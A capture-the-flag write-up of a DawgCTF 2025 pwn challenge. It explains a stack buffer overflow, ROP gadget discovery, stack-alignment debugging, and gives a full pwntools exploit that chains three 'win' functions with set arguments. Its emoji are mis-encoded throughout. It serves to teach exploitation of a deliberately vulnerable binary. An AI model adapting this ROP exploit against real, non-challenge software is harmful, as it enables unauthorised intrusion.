DawgCTF 64 bits in my Ark and Texture write up - Pez1181/CTF GitHub Wiki

🧠 challenge name: 64 bits in my Ark and Texture (DawgCTF 2025)
πŸ“Œ Challenge Type: Pwn  
πŸ”“ Vulnerability: Classic stack buffer overflow  
πŸ›‘οΈ Protections Bypassed: Partial RELRO, no canary, executable stack  

---

### πŸ“– Intro

This binary is a staged x86-64 exploitation challenge. You pass a short quiz on Linux calling conventions, then must "prove your mastery" by jumping through `win1`, `win2`, and finally `win3`, satisfying argument checks along the way. Success gets you the flag.

---

### πŸ” Recon & Analysis

```bash
$ checksec chall
[*] '/mnt/d/DawgCTF/64_bit/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

βœ… This is good news β€” with no PIE and no canary, ROP attacks are viable. The stack is also executable, though we won't need shellcode here.


πŸ§ͺ Step 1: Find the overflow offset

We use pwndbg’s cyclic pattern to find where the overflow begins:

$ gdb ./chall
#cyclic 200 - enter at the prompt
cyclic -l 0x6161616c
152

➑️ So the offset to RIP is 152 bytes.


🧩 Step 2: Understand the win functions

Through Ghidra and gdb we learn:

  • win1() requires no args, just jump to it.
  • win2() takes a single argument and checks:
    if (x == 0xdeadbeef)
    
  • win3() checks all three:
    if (x == 0xdeadbeef && y == 0xdeafface && z == 0xfeedcafe)
    

We initially had 0xfee2cafe by mistake for the third arg, which caused it to fail silently β€” lesson learned.


βš™οΈ Step 3: Finding Gadgets

We used ROP(ELF) and manual analysis to find:

pop_rdi = 0x4017d6
pop_rsi = 0x4017d8
pop_rdx = 0x4017da
ret     = 0x40101a  # single ret for alignment

🐞 Trial & Error with Stack Alignment

Once all arguments were correct, the payload would still crash after printing the flag, due to stack misalignment. We debugged with:

b *win2
b *win3
r < payload.bin
(gdb) p (int)$rsp % 16

If % 16 was -8, then the stack was misaligned, and functions like printf (which use movaps) would crash. We fixed it by adding extra ret gadgets before calling win3().


πŸ§ͺ Final Working Payload Strategy

  1. Overflow 152 bytes
  2. Call win1
  3. Call win2(0xdeadbeef)
  4. Fix stack alignment with ret Γ—2
  5. Call win3(0xdeadbeef, 0xdeafface, 0xfeedcafe)

βœ… Full Exploit Script

from pwn import *

context.binary = ELF('./chall', checksec=False)
context.log_level = 'info'
REMOTE = False

# Connect
p = remote('connect.umbccd.net', 22237) if REMOTE else process('./chall')

# Addresses
offset = 152
win1 = 0x401401
win2 = 0x401314
win3 = 0x4011e6
pop_rdi = 0x4017d6
pop_rsi = 0x4017d8
pop_rdx = 0x4017da
ret     = 0x40101a

# Target args
arg1 = 0xdeadbeef
arg2 = 0xdeafface
arg3 = 0xfeedcafe  # careful!

# Build payload
payload  = b'A' * offset
payload += p64(ret)
payload += p64(win1)
payload += p64(pop_rdi)
payload += p64(arg1)
payload += p64(ret)
payload += p64(win2)
payload += p64(ret) * 2  # align stack before printf
payload += p64(pop_rdi)
payload += p64(arg1)
payload += p64(pop_rsi)
payload += p64(arg2)
payload += p64(pop_rdx)
payload += p64(arg3)
payload += p64(win3)

# Full input: answers + payload
final_input = b'2\n1\n4\n' + payload + b'\n'
p.send(final_input)
p.interactive()

🏁 Final Notes

  • movaps alignment bugs are sneaky! If your payload crashes after calling printf, always check %rsp % 16.
  • We debugged this using manual crafted input files (xxx.bin) and gdb breakpoints on win2 and win3.
  • Sending your exploit via stdin using < xxx.bin can emulate remote behavior more closely than sendline() sometimes.
  • Always verify argument values in memory to catch typos (feedcafe vs fee2cafe...).

πŸ† Flag

HTB{Re7_r3T_REt_re7_rEt_(RET)}

Mission complete. Ret2Base, soldier. 🫑